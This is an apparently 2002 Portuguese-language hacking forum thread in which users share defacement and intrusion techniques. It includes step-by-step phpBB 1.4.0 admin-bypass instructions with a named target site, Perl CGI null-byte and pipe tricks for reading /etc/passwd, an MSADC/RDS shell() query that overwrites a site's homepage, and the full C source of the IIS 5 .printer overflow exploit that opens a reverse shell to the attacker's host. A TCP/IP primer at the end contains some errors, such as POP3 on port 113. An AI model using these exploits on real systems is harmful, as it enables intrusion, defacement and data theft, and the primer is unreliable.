Pronto tah aih o codigo... mas se eu fosse vc nao confiava nele pq ainda
precisa ser aperfeicoado e foi desenvolvido mas por uma mera
brincadeira....
[7]-Codando seu proprio exploit
Gente, p/ vcs nao serem mais scripts kiddies, facam isso que eu estou
falando....
1 coisa que vc tem q saber eh descobrir o bug q vc vai exploitar, vc tem 2
saidas, a primeira saida e vc fucar ateh achar o bug e a 2 saida eh vc
procurar o bug nessas paginas securenet, packetstorm, unsekurity e
etc... e depois passar p/ a pratica...
2 - Recomendo tb estudar exploit dos otros e comecar a fazer outro mas
seguindo sua propria tese... isso eh mto bom... vc treina com isso e qnd
ve jah tah dominando a linguagem Perl....
3- Depois teste o exploit e se nao conseguir procure alguem p/ lhe
ajudar... sempre faco isso... com o q vc leu aki, dah p/ jah codar coisas
basicas ... entao... agora em diante eh com vc amigo! valeu to vazando!!
[8]- Agradecimentos
Bem antes de mais nada, gostaria de agradecer o pessoal da w2x (Write to
execute) vcs realmente foram demais.... me guiaram p/ o caminho certo
valeu galera adoro vcs..... tb gostaria de agradecer ao pessoal que me
ajuda e me incentiva a codar e tal... abraco pro pessoal da unsek.... Eu
acredito que a unsekurity tem futuro.... acredito muito nisso e por isso
estou aki ajudando... Eh soh isso..
[]'s
fui!
E-mail: jefersonf89@bol.com.br
ICQ : 38744049
|

30/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 17
|
|
Tópico últil esse, ai vai:
************************************** phpBB Versão 1.4.0 ********************************
(outras versões estão sujeitas a diferenças nos passos a baixo)
Tipow..
Primeiro vc deve se registrar no forum.. ( faiz de conta q o host seja www.1.com )
click em REGISTER...
depois vc deve se logar com o usuario q vc criou...
(faiz de conta q vc criou um user com o nome de DEFACER )
Logedin as DEFACER. Logout.
pronto..
dae vc manda esse comando pelo browser...:
http://www.1.com/phpBB/prefs.php?sav...EFACER'%23
se aparecer issu la no final da pagina..:
Preferências atualizadas. Clique aqui para retornar ao index do fórum
( Isso pode estar em Ingles, ou variar de acordo com a lingua...)
OK..
depois disso , click em
[Private Messages]
depois um pouko abaixo tem um link... click nele
[Administration Panel]
c pedir senha é pq naum ta bugado.. mas c naum pedir é pq ta bugado......
para alterar a pagina vc deve ir em :
Set Header/Meta/Footer
dae vc coloka la qualquer coisa... tipow.. HACKED BY THE Hax0r..
entendeu??
Tipow testa issu nessa page:
http://nectarine.vantage.ch/prefs.php
|

30/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 17
|
|
Esses textos foram tirados da net:
Como explorar CGI's = \
`------------------------------------------------------------------------
por Cacaio
Os scripts CGI sao feitos com o proposito de usar as requisicoes do
cliente e do servidor e entao se tornar meio que uma "ponte" entre eles.
Se alguem pode mudar as variaveis em um script cgi, entao ele vai a uma camada
inferior no servidor para o servidor executar o que foi pedido.
Algumas falhas obvias:
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
# este script e' para voce dar o nome de um arquivo e o script o abrir
# adicionando o tdk a sua extensao.
$pedido = $ENV{'QUERY_STRING'};
open(HTMLFILE, "<$pedido.tdk"  ;
while(<HTMLFILE>  {
print;
}
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
Olhando rapidamente, tudo parece certo, correto?
Nao! Vamos dizer que os arquivos .tdk sao arquivos de bancos de dados.
Se quisermos abrir um arquivo como teste.tdk nos iriamos a:
http://servidor.com/cgi-bin/cgizaum.cgi?teste
e isso abriria o teste.tdk e o mostraria.
Se o servidor tem um arquivo .htpasswd, por exemplo, e voce quer abrir ele,
voce vai usar cgizaum.cgi?.htpasswd . Isso vai fazer o cgi tentar abrir
.htpasswd.tdk o qual nao existe. Mas com um truque simples podemos pegar este
arquivo. Ao inves de abrir cgizaum.cgi?.htpasswd, nos vamos abrir
cgizaum.cgi?.htpasswd%00
O perl vai ver isso como .htpasswd\0, e vai interpretar este \0 como um
limite. Entao, vai se livrar do .tdk e vai abrir pra voce o .htpasswd.
Tambem pode ser usado neste caso cgizaum.cgi?cgizaum.cgi%00, e assim vermos
o codigo fonte do script.
Outro exemplo disso e' quando o script nao deixa voce ter acesso a algum
arquivo...
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
# este e' um exemplo no qual voce pode escrever em um arquivo, mas antes
# checa se pode escrever no arquivo escolhido
$openfile = "/etc/passwd\0hahaenganeioscript";
die "voce nao ta abrindo meu arquivo passwd" if ($openfile eq "/etc/passwd"  ;
if (-e $openfile) {
open(FILE, ">$openfile"  ;
}
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
Este exemplo nao e' dificil de se entender.
Ele tenta ter certeza de que voce pode acessar o /etc/passwd checando com
o "if". Novamente, o truque do \0 pode ser usado e assim poderemos escrever
no /etc/passwd.
Uma maneira facil de previnir este tipo de coisas e' simplesmente nao aceitar
alguns caracteres.
Colocando a seguinte linha, voce ja nao aceita o /0.
if ($file =~ s/\0//g) { die "nao funciona aqui"; } else { #seu script aki }
.-----------------------.
| O problema do open() `--------------------------------.
`==========-=-====--==-=-=-===----==---=-=---=-=--- -- - -
observe o seguinte script:
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
$file = $ENV{'QUERY_STRING'};
open (FILE, $file);
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
Se pedirmos pra abrir o index.html, ele vai abrir o index.html.
Mas se voce adicionar um | ao parametro, o open vai tentar executar.
Por exemplo:
-> if $file = /bin/sh;
vai apenas abrir o /bin/sh e mostrar codigos binarios.
-> if $file = /bin/sh|;
vai rodar o /bin/sh.
Como tirar proveito disso? Por exemplo:
-> $file = "/bin/cat /etc/passwd > /home/httpd/html/passwd.html|";
Isso sera' executado. agora use '$file = "paswd.html"' e entao voce tera
o passwd (considerando que o /etc/passwd esta' acessivel).
Isso conclui esta materia.
Cacaio
|

30/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 17
|
|
Mais um texto tirado da net e deste fórum heeh, quem perdeu tah ai:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td> Citação </td></tr><tr><td id="QUOTE">
RDS
Obs.: Só funciona se o provedor usar Windows NT.
Para saber se o servidor (site alvo) está bugado, digite no Browser
(navegador) a seguinte linha:
www.servidor.com/msadc/samples/adctest.asp
Agora você tem que saber qual é a index.. (pagina inicial), normalmente é:
c:\inetpub\wwwroot\default.htm, (mais varia) ai depois de ter achado isso entre na tela do RDS,
ou seja " www.servidor.com/msadc/samples/adctest.asp", e vai aparecer a tela do RDS, agora apague tudo que tiver escrito no query e digite:
Select * from Products where ProductType='|shell("cmd /c echo (O txt que vc quer q apareça) > c:\InetPub\wwwroot\default.htm"  |'
Depois é só apertar RUN e pronto!
Agora vamos supor que vc quer evitar tudo isso, é so pegar um exploit chamado msadc.pl e pronto.. vc usa assim:
perl msadc.pl -h www.servidor.com , se aparecer cmd , vc digita :
(O que quer escrever) < C:\InetPub\wwwroot\default.htm (enter)
[/quote]<span id='postcolor'>
|

30/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 17
|
|
|
Mais um:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Citação </td></tr><tr><td id="QUOTE">
telnet
comandos
ls Lista arquivos do diretório
-a Lista todos os arquivos, inclusive os que começam com "." (ponto)
-l Lista os arquivos dando especificações como data, tamanho, etc
-R Lista os arquivos, colocando / (barra) nos que são diretórios, * (asterisco) nos que são executáveis e @ (arroba) nos que são links
-F Lista os arquivos do diretório e de subdiretórios
Existem outras especificações, foi só pra mostrar como funciona.
Como eu disse, esses comandos são aditivos, então, você pode usar:
ls -al Lista todos os arquivos, até os começados com "." (arquivos ocultos) dando especificações (tamanho, data, etc)
ls -alR O mesmo que o comando acima, mas lista também o conteúdo dos subdiretórios.
ls -alRF O mesmo que o comando acima, mas mostrando se é um diretório (colocando uma /), ou é um exeecutável (colocando um *), etc..
cp x y copia o arquivo do diretório x para o diretório y (o caminho de diretório deve ser colocado por inteiro)
mv x y move o arquivo do diretório x para o diretório y (o caminho de diretório deve ser colocado por inteiro)
rm x deleta o arquivo x
cd xxx muda o diretório ativo para xxx
cd .. muda o diretório ativo para o que está 'acima' do atual
mkdir xxx cria o diretório xxx dentro do diretório atual
rm xxx remove o diretório xxx
[/quote]<span id='postcolor'>
|

30/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 17
|
|
Buffer overflows
O buffer overflow é um ataque usado a muito tempo e que ainda será muito usado. Compreende em lotar os buffers (memória disponível para aplicativos) de um servidor e incluir na sua lista de processos algum programa tal como um keylogger ou um trojan. Todos os sistemas são vulneráveis a buffer overflows e a solução é a mesma, procurar se já existem correções existentes. Novos erros desse tipo surgem todo dia, até o XP já têm alguns. Se atualize sempre para não ficar para trás.
Um dos usos famosos do buffer overflow é o telnet reverso. Ele consiste em fazer a máquina alvo conectar-se a um servidor no computador do cracker, fornecendo-lhe um shell (prompt) de comando. O netcat, chamado de “canivete suíço do TCP/IP”, é uma espécie de “super-telnet”, pois realiza conexões por UDP, serve como servidor, entre outras tarefas. Ele é o mais utilizado para a realização do telnet reverso, e pode ser usado tanto na arquitetura NT quanto no Unix. A versão para Windows está disponível em ftp.technotronic.com .
Aqui vai um código-fonte de um exploit que explora uma falha do IIS 5.0 (o buffer overflow da .printer) e fornece um shell reverso. Use o gcc para compilar (ou outro compilador da linguagem C):
/* IIS 5 remote .printer buffer overflow. "jill.c" .
*
* por: dark spyrit <dspyrit@beavuh.org>
*
* uso: jill <host da vítima> <porta da vítima> <host do invasor>
* <porta do invasor>
*
* o código abaixo abre um shell reverso.. então você precisa do
* netcat para "esperar" o shell.
*
* Ex: nc -l -p <porta do atacante> -vv
*
* Divirta-se.
*/
/* Portado para WIN32 por vacuum <vacuum@technotronic.com>
* Se alguém quiser, existe a versão já compilada do exploit
* para Windows. Pegue em www.technotronic.com. Ou em
* www.anti-trojans.cjb.net
*/
#include <sys/types.h>
#ifndef WIN32
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#else
#pragma comment (lib,"Ws2_32" 
#include <windows.h>
#include <winsock.h>
#define close closesocket
#define sleep Sleep
#endif
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
int main(int argc, char *argv[]){
/* O trabalho todo comprimido. Bonito, não acha?. */
unsigned char sploit[]=
"\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70 \x72\x69\x6e\x74\x65\x72\x20"
"\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42 \x65\x61\x76\x75\x68\x3a\x20"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff \xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30 \x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd \x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d \x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81 \xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33 \xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1 \x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74 \x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95 \x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf \x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95 \x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18 \xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2 \xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95 \x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5 \x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95 \x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5 \x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a \xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5 \x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10 \x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a \x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac \x52\xd2\x91\x5e\x38\x4c\xb3"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7 \x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55 \xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3 \xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05 \x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05 \x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55 \xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2 \x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6 \x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56 \xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4 \xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc \xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4 \x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0 \xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9 \xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0 \xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5 \xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0 \x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0 \xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe \xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0 \xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a \x20\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33 \xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d \x0a";
int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;
#ifdef WIN32
WSADATA WSAData;
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) {
printf("WSAStartup falhou.\n"  ;
WSACleanup();
exit(1);
}
#endif
printf("iis5 remote .printer overflow.\n"
"dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n"  ;
if (argc != 5) {
printf("usage: %s <Host da Vitima> <Porta da Vitima> <Host do Invasor> <Porta do Invasor>\n",argv[0]);
exit(1);
}
if ((ht = gethostbyname(argv[1])) == 0){
#ifndef WIN32
herror(argv[1]);
#else
fprintf(stderr, "Host desconhecido %s\n",argv[1]);
#endif
exit(1);
}
sin.sin_port = htons(atoi(argv[2]));
a_port = htons(atoi(argv[4]));
a_port^=0x9595;
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);
if ((ht = gethostbyname(argv[3])) == 0){
#ifndef WIN32
herror(argv[3]);
#else
fprintf(stderr, "Host desconhecido %s\n",argv[3]);
#endif
exit(1);
}
a_host = *((unsigned long *)ht->h_addr);
a_host^=0x95959595;
sploit[441]= (a_port) & 0xff;
sploit[442]= (a_port >> 8) & 0xff;
sploit[446]= (a_host) & 0xff;
sploit[447]= (a_host >> 8) & 0xff;
sploit[448]= (a_host >> 16) & 0xff;
sploit[449]= (a_host >> 24) & 0xff;
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket"  ;
exit(1);
}
if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
perror("connect"  ;
exit(1);
}
else
printf("\nConnectado.\n"  ;
if(send(s,sploit,strlen(sploit),0) == -1) {
printf("Erro enviando Exploit.\n"  ;
return(-1);
}
else
printf("sent... \nvoce pode precisar dar um update no seu netcat se o shell não aparecer appear.\nhave fun!\n"  ;
sleep (1);
close (s);
exit(0);
}
|

30/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 17
|
|
Para leigos:
TCP/IP
Sem dúvida o melhor dos protocolos. Quando alguém chega a mim e diz que se converteu ao TCP/IP, creio que sinto o mesmo prazer de um crente que consegue levar o amigo à sua igreja. Diferente dos outros protocolos vistos aqui, o TCP/IP na verdade é um conjunto de muitos protocolos. Usando uma arquitetura cliente-servidor quase perfeita, esse conjunto de protocolos possibilita praticamente todo tipo de sistema operacional e rede de se comunicarem entre si, possibilitando até a criação da Internet. Ora, como seria possível um monte de computadores usando Macintosh, Unix , Linux e Windows comunicarem-se sem maiores problemas? Não, não é um filme de Hollywood e muito menos um sonho distante. É a tecnologia a nosso serviço. E o melhor de tudo, é um protocolo aberto.
Para começarmos o nosso estudo sobre os protocolos que compõem o TCP/IP, analisemos um a um os mais importantes deles. Ou em outras palavras, os que mais iremos utilizar. Não dá para vermos todos pois além de serem muitos, têm de ser estudados a fundo. Apenas darei uma noção.
IP
O IP (Internet Protocol) é o responsável por rotear e entregar os pacotes contendo as informações que serão enviadas. O endereço IP contém um cabeçalho aonde estão indicados os endereços de redes e de hosts. Esse endereço é representado por quatro bytes separados por pontos. Por exemplo:
200.202.36.251
As duas primeiras partes (200.202) indicam o endereço da rede. Ou seja, provavelmente todos os hosts dessa rede começam com esse endereço. O que vai mudar de host para host é a parte final do endereço (36.251). Claro que isso não é uma regra, existem redes gigantescas em que essas propriedades podem mudar. Para saber se qual o endereço de rede e o endereço de host de uma rede, cheque a máscara de sub-rede.
A máscara de sub-rede (subnet mask) nos informa quais àreas do ip são mutáveis (usadas por hosts) e quais não mudam. Exemplo:
255.255.255.0
O que isso significa? Quando uma área da máscara de sub-rede tiver o número 255, significa que aquela àrea é imutável e quando for 0 a àrea pode mudar. Achou difícil? Não é. Preste atenção: observando o endereço acima, dá para notarmos o quê? Que somente a última parte do endereço IP está com o zero. Supondo que o endereço IP de uma máquina da rede seja 200.131.16.1 .Provavelmente existirão hosts com esses endereços:
200.131.16.2
200.131.16.3
200.131.16.4
200.131.16.5
Mas não existirão máquinas com esses endereços:
200.131.63.1
200.131.65.6
200.131.19.4
200.131.33.66
Por quê? Porquê como a máscara de sub-rede foi configurada para 255.255.255.0, somente o último byte do ip pode ser alterado. Agora, se a máscara for mudada para 255.255.0.0, os endereços ip acima seriam aceitos pois os últimos dois bytes (as duas últimas àreas separadas por pontos) podem ser mudados. Nas propriedades de TCP/IP (que variam de um sistema operacional para o outro) você encontra a máscara de sub-rede.
No Windows, siga os seguintes passos:
1. Clique em Iniciar e vá em Configurações e Painel de Controle
2. Procure entre os ícones o de Rede e clique duas vezes para acessá-lo
3. Na lista de protocolos, procure o TCP/IP e clique em propriedades
4. Em propriedades de TCP/IP, clique em Endereço IP
5. Agora selecione especificar um endereço IP e coloque como teste o endereço 200.131.16.1
6. Escreva a máscara de sub-rede desejada abaixo.
7. Não se esqueça depois de que se anteriormente a opção de obter um endereço IP automaticamente estava habilitada, habilite-a antes de sair.
Propriedades do protocolo TCP/IP
No endereço IP os números podem variar de 0 a 255 , mas geralmente em hosts são utilizados apenas de 1 a 254. O 0 e o 255 são usados apenas para a máscara de sub-rede.
Portas
Se você quisesse colocar um servidor de homepage e um servidor de jogos em um host tendo um só endereço IP seria impossível. Como o cliente saberia identificar qual dos servidores precisa se conectar? Para isso criaram as portas. Elas identificam conexões utilizando números de 0 a 65536. Alguns serviços já possuem até suas portas padrões, como é o caso do Telnet (porta 23) e do FTP (porta 21). Para saber quais serviços existem em um servidor, leia a seção sobre scanners para saber como scannear portas.
DNS
Nosso próximo passo no estudo do TCP/IP é o Domain Name Server (DNS) ou Servidor de Nome de Domínio, em português. A função dessa belezinha é extremamente útil. Já imaginou se você tivesse que decorar o endereço IP de todas as página que visita na Internet? No máximo uns 10 você decoraria, mas e o resto? Para acabar com esse problema surgiu o DNS. A sua função é procurar em um banco de dados um nome que corresponda a um IP. Quando digitamos www.yahoo.com por exemplo, não precisamos saber o endereço IP. O DNS do nosso provedor de acesso vai checar esse nome em seu banco de dados e se encarregar de nos direcionar ao IP encontrado. Olha que protocolo bonzinho :-) .
Nós mesmo podemos configurar e ligar alguns nomes a endereços IP. O método mais fácil de se fazê-lo é utilizar o arquivo HOSTS. O processo é o mesmo do LMHOSTS do NetBIOS, e o arquivo é encontrado no mesmo local. O interessante do HOSTS é que você pode pregar peças nos seus amigos, direcionando endereços como www.fbi.gov para o IP de alguma homepage hackeada ou até seu endereço IP local e contar vantagem de que invadiu o FBI. Muitos “hackers” hoje em dia usam isso para aparecerem na televisão e “hackear” ao vivo.
SMTP
O Simple Mail Transfer Protocol é o protocolo responsável por entregar mensagens de e-mail a um destinatário. Toda vez que seus e-mails são enviados, um servidor smtp se encarrega de levá-los ao seu destino. Esse servidor geralmente se aloja na porta 25. O interessante do SMTP é que ao contrário do POP3 (visto a seguir), não é necessário senha para enviar um e-mail. Eu posso abrir o Microsoft Outlook e mandar e-mails como se fosse George Bush ou Tom Cruise. A falta de segurança no envio de mensagens é o ponto de partida para a facilidade de se enviar e-mails anônimos (como visto em anonimidade). O SMTP ainda permite anexar à uma mensagem de texto conteúdos binários (programas por exemplo), utilizando o MIME.
POP3
Outro protocolo de mensagens, só que agora é o responsável por o recebimento dessas mensagens. O POP3 já necessita de senhas para poder habilitar o acesso dos usuários às suas caixas postais, além de saber “re-montar” os arquivos enviados em formato MIME com o SMTP. O POP3 geralmente se localiza na porta 113. Uma grande desvantagem dele é que fica muito fácil fazer um ataque de bruteforce para tentar descobrir as senhas, já que a maioria dos servidores possui falhas que possibilitam softwares maliciosos de serem rodados.
TELNET
Telnet, ou terminal remoto é um modo de se acessar remotamente sistemas como se você os estivesse operando localmente. Por exemplo: usando o telnet (e um trojan instalado) podemos ter acesso ao MS-DOS de qualquer um. Do mesmo modo que poderíamos digitar comandos para listar, copiar e apagar dados, conectados a outro computador também podemos. Na verdade, todos os trojans são clientes telnet. Apenas são disfarçados com botõezinhos bonitinhos pois geralmente quem precisa de trojans para invadir sistemas são pessoas que não possuem um bom conhecimento de segurança. Se você encontrar alguma porta ativa em algum sistema (qualquer uma, seja de trojan, SMTP, POP3, etc...), pode se conectar a ela por telnet.
Resumindo, se você souber usar bem telnet não precisa mais de outros programas no computador. Ele acessa servidores utilizados pelos browsers (como Netscape e Internet Explorer), clientes de E-mail, IRC, absolutamente tudo. Leia sobre o cliente telnet do Windows no capítulo seguinte.
FTP
File Transfer Protocol é seu nome real. O protocolo de transferência de arquivos serve única e exclusivamente para ser um banco de software. Não se pode executar programas remotamente como no caso do telnet, apenas pegar e colocar arquivos. Desde a criação da Internet, o ftp é largamente usado. Uma de suas vantagens é, como ele é usado somente para transferências de arquivos, sua velocidade pode chegar a ser muito maior do que pegar arquivos em HTTP (visto mais à frente). No próximo capítulo você aprenderá os comandos básicos de um cliente FTP e como manipular os arquivos dentro deste.
HTTP
Esse sem dúvida é conhecido por muitos. Afinal, quem nunca viu na frente do endereço de uma homepage esse nome? http://www.altavista.com/. O Hyper Text Transfer Protocol é o protocolo responsável de transmitir textos, imagens e multimídia na Internet. Sempre que você abre uma homepage (mesmo que ele só contenha textos), você está usando esse protocolo. Achei interessante comentar sobre ele para que se entenda melhor como a Internet não funciona isolada com um só protocolo. HTTP, FTP, TELNET e os outros muitas vezes trabalham em conjunto e nem percebemos. Quando você for baixar um arquivo, preste atenção no link. É muito provável que de uma página navegada por HTTP, se envie a um servidor FTP.
SNMP
Simple Network Management Protocol. Algo como protocolo simples para manejar a rede. E é exatamente isso o que ele faz. Usando o SNMP você pode obter informações detalhadas sobre contas de usuário, equipamentos de rede, portas e serviços abertos e muito mais. A má configuração desse protocolo (deixando seu status como público principalmente). Use a ótima ferramenta IP Network Browser da SolarWinds ( www.solarwinds.net). Ela mostra até a cor da cueca do administrador. Uma dica: se dá valor ao seu emprego desabilite o snmp.
|

30/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 18
|
|
E æ galera,...como ia dizendo dicas uteis...
Pesquisando algum assunto, algum site na .net ??...
Mande um email para google@capeclear.com
No campo "assunto" vc poem o que vc esta procurando, e envie,.......................................pront o!
Em um minuto vc estara recebendo no seu email o resultado da pesquisa.
Naum eh aquela pesquisa completa,....mas p quem esta sem tempo, eh uma maum na roda,....
[ ]'s
::| murdok_neo |::
|
|
|